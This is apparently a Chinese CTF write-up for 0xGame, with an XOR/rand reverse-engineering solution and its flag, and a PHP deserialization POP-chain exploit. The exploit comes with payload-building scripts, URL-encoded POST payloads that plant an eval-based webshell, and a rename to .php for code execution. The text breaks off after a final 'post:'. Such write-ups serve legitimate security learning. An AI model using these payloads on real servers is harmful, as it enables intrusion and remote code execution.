0xgame RE
Xor::Random wp
参考官解


看到一大堆,别慌,冷静分析
主函数大概可以划分成三部分:先检查了flag的格式和长度,之后⽣成随机数 v21 异或加密⼀边检查。注意密钥从 v21和 重点说⼀下中间随机数的部分。
我们如果仔细看了这些代码,就知道中间只是个异或,那么密文在哪,我们沿着算法网上找就能找到v13,不过还不能直接用(当然c语言可以直接用这个),这是小端存储的也就是说0c,4f,….,存储的,建议先去了解
那么问题就是中间的v21了,他是个(伪)随机数,只要设定了种子,每次出来的结果都是一样的(当然受到版本的影响)
1 2 3 4 5 6 7 8 9 10
| inited = init_random(); std::string::basic_string(v20, v14); v6 = check((__int64)v20); std::string::~string(v20); if ( v6 ) { srand(0x1919810u); inited = rand(); } v21 = rand();
|
分析这段我们就知道,先会生成一个随机数,然后根据check,v6(点进去check,我们发现check肯定是0),所以v6的那个if肯定不会执行,下面生成的随机数会给v21,上面的inited用不到,那样我们只要得到v21就能解密了,有两种方案:
这里主要的加密方法是异或,异或算法的特性是a^b=c b^c=a,不懂自己查,所以我们把源码还原出来再执行就行
方法一:静态分析
我们顺着逻辑写一遍c代码就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stdio.h> #include <stdint.h> #include <stdlib.h>
int main() { unsigned char num, key; unsigned char* array; unsigned long long v13[4]; v13[0] = 0x1221164E1F104F0C; v13[1] = 0x171F240A4B10244B; v13[2] = 0x1A2C5C2108074F09; v13[3] = 99338668810000; srand(0x77); num = rand(); num = rand(); array = (unsigned char*)v13; for (int i = 0; i <= 29; i++){ key = (i % 2 != 0 ? num : num + 3); array[i] ^= key; } printf("0xGame{%s}", array); return 0; }
|
num = rand();
num = rand();这里要Rand两次
在 srand()
设置固定的种子后,rand()
会基于该种子生成一个伪随机数序列。每次调用 rand()
,都会按照这个序列的顺序返回下一个数。即使种子相同,不同调用顺序下的结果依然会不一样,因为 rand()
是在一个依次递进的伪随机数序列中产生值。
方法⼆:动态调试直接拿密钥
我们可以动态调试拿到v21的值进行解密

终端输入0xGame{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
V21点进去发现值

v13点进去我们还能发现我们正常理解的顺序的值

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| f = '0xGame{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
enc = [ 0x0C, 0x4F, 0x10, 0x1F, 0x4E, 0x16, 0x21, 0x12, 0x4B, 0x24, 0x10, 0x4B, 0x0A, 0x24, 0x1F, 0x17, 0x09, 0x4F, 0x07, 0x08, 0x21, 0x5C, 0x2C, 0x1A, 0x10, 0x1F, 0x11, 0x16, 0x59, 0x5A ]
key = 0x7B
for i in range(len(enc)): if i & 1: print(chr(enc[i] ^ key), end='') else: print(chr(enc[i] ^ key + 3), end='')
|
r4nd0m_i5_n0t_alw4ys_’Random’!
加上0xgame就行
ez_unser wp
之前一直以为自己会了,做了一遍还是不会,这次写的详细一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php highlight_file(__FILE__); class Man{ private $name="原神,启动"; public function __wakeup() { echo str_split($this->name); } } class What{ private $Kun="两年半"; public function __toString() { echo $this->Kun->hobby; return "Ok"; } } class Can{ private $Hobby="唱跳rap篮球"; public function __get($name){ var_dump($this->Hobby); } } class I{ private $name="Kobe"; public function __debugInfo(){ $this->name->say(); } } class Say{ private $evil; public function __call($name, $arguments){ $this->evil->Evil(); } } class Mamba{ public function Evil(){ $filename=time().".log"; file_put_contents($filename,$_POST["content"]); echo $filename; } } class Out{ public function __call($name,$arguments){ $o = "./".str_replace("..", "第五人格",$_POST["o"]); $n = $_POST["n"]; rename($o,$n); } } unserialize($_POST["data"]); Warning: Undefined array key "data" in /root/index.php on line 58
Deprecated: unserialize(): Passing null to parameter
|
解读一下
Say里面有一个$this->evil->Evil();Evil()方法在Mamba里有,我们可以得知如果evil是Mamba对象的话,可以调用Evil方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Say{ private $evil; public function __call($name, $arguments){ $this->evil->Evil(); } } class Mamba{ public function Evil(){ $filename=time().".log"; file_put_contents($filename,$_POST["content"]); echo $filename; } }
|
那 __call如何调用呢,查阅资料得,这个方法在对象中调用一个不可访问方法时调用 ,看到这段代码
1 2 3 4 5 6
| class I{ private $name="Kobe"; public function __debugInfo(){ $this->name->say(); } }
|
我们没找到say()这个方法,我们可以假象可能调用了一个不可访问方法时调用了Say里得call,那么name也就可以是Say的对象
那__debugInfo()如何被调用的?可以参考下面的文章
魔术方法__toString()和__debugInfo()详解 - 编程领地 - 博客园
和__tostring()方法一样,由var_dump()、print_r()打印对象体的时候,控制对象体要输出的属性和值;
也就是说,它可以被var_dump()、print_r()时被调用
1 2 3 4 5 6
| class Can{ private $Hobby="唱跳rap篮球"; public function __get($name){ var_dump($this->Hobby); } }
|
找到了var_dump
那么Hobby就是I的对象
那么__get如何被调用呢
读取不可访问属性的值时,__get() 会被调用。也就是,当想要获取一个类的私有属性,或者获取一个类并为定义的属性时。该魔术方法会被调用。
也就是跟call差不多,如果访问一个不可访问的属性,会调用get
1 2 3 4 5 6 7
| class What{ private $Kun="两年半"; public function __toString() { echo $this->Kun->hobby; return "Ok"; } }
|
我们看到这,在其他类并没有hobby这个属性,因此在这里自动调用了get,那么Kun就是Can
__toString如何被调用的?跟debuginfo一样
所以找到
1 2 3 4 5 6
| class Man{ private $name="原神,启动"; public function __wakeup() { echo str_split($this->name); } }
|
在这里需要输出和字符串操作的时候被调用了
__wakeup是对象建立时被自动调用的
那么我们可以进行反序列化,有两种方式
第一种,在外面反序列化,我的代码是错的,因为这种方式需要注意private,容易出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php class Man{ private $name; public function __wakeup() { echo str_split($this->name); } } class What{ private $Kun; public function __toString(){ echo $this->Kun->hobby; return "Ok"; } } class Can{ private $Hobby; public function __get($name) { var_dump($this->Hobby); } } class I{ private $name; public function __debugInfo(){ $this->name->say(); }
} class Say{ private $evil; public function __call($name, $arguments){ $this->evil->Evil(); } } class Mamba{ public function Evil(){ $filename=time().".log"; file_put_contents($filename,$_POST["content"]); echo $filename; } } class Out{ public function __call($name,$arguments){ $o = "./".str_replace("..", "第五人格",$_POST["o"]); $n = $_POST["n"]; rename($o,$n); } } $man = new Man(); $what = new What(); $can = new Can(); $i = new I(); $say = new Say(); $mamba = new Mamba(); $say->evil = $mamba; $i->name=$say; $can->Hobby=$i; $what->Kun=$can; $man->name = $what; echo urlencode(serialize($man)); ?>
|
第二种方式,在内部
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php class Man{ private $name="原神,启动"; public function __construct() { $this -> name = new What(); } } class What{ private $Kun="两年半"; public function __construct() { $this -> Kun = new Can(); } } class Can{ private $Hobby="唱跳rap篮球"; public function __construct() { $this -> Hobby = new I(); } } class I{ private $name="Kobe"; public function __construct() { $this -> name = new Say(); }
} class Say{ private $evil; public function __construct() { $this -> evil = new Mamba(); }
} class Mamba{ } class Out{ } $man = new Man(); echo urlencode(serialize($man)); ?>
|
__construct是对象构建执行的代码
在这里我们再回头看看Evil的逻辑,就是time()方法生成一个时间序列(不重要).log,然后我们要post一个content写入这个文件中,执行恶意代码,但问题是.log文件是不能被php系统直接解析的
1 2 3 4 5 6 7
| class Mamba{ public function Evil(){ $filename=time().".log"; file_put_contents($filename,$_POST["content"]); echo $filename; } }
|
我们看到下面,这里的意思其实就是给文件改名,我们可以改后缀名改成php,通过o和n,所以这里我们也需要反序列化
1 2 3 4 5 6 7
| class Out{ public function __call($name,$arguments){ $o = "./".str_replace("..", "第五人格",$_POST["o"]); $n = $_POST["n"]; rename($o,$n); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class Man{ private $name="原神,启动"; public function __construct() { $this -> name = new What(); } } class What{ private $Kun="两年半"; public function __construct() { $this -> Kun = new Can(); } } class Can{ private $Hobby="唱跳rap篮球"; public function __construct() { $this -> Hobby = new I(); } } class I{ private $name="Kobe"; public function __construct() { $this -> name = new Out(); }
} class Out{ } $man = new Man(); echo urlencode(serialize($man)); ?>
|
我们可以conten里塞入一些代码让他执行
post:
1
| data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&content=<?php eval($_POST['shell'])?>
|
这里shell就是我们后面需要post的恶意代码,然后给文件改名

1
| data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&o=1729583168.log&n=niubi666.php
|
在上传shell的内容,找到flag

这也是一句话木马
挺好玩的

第二种方法获取环境变量
post: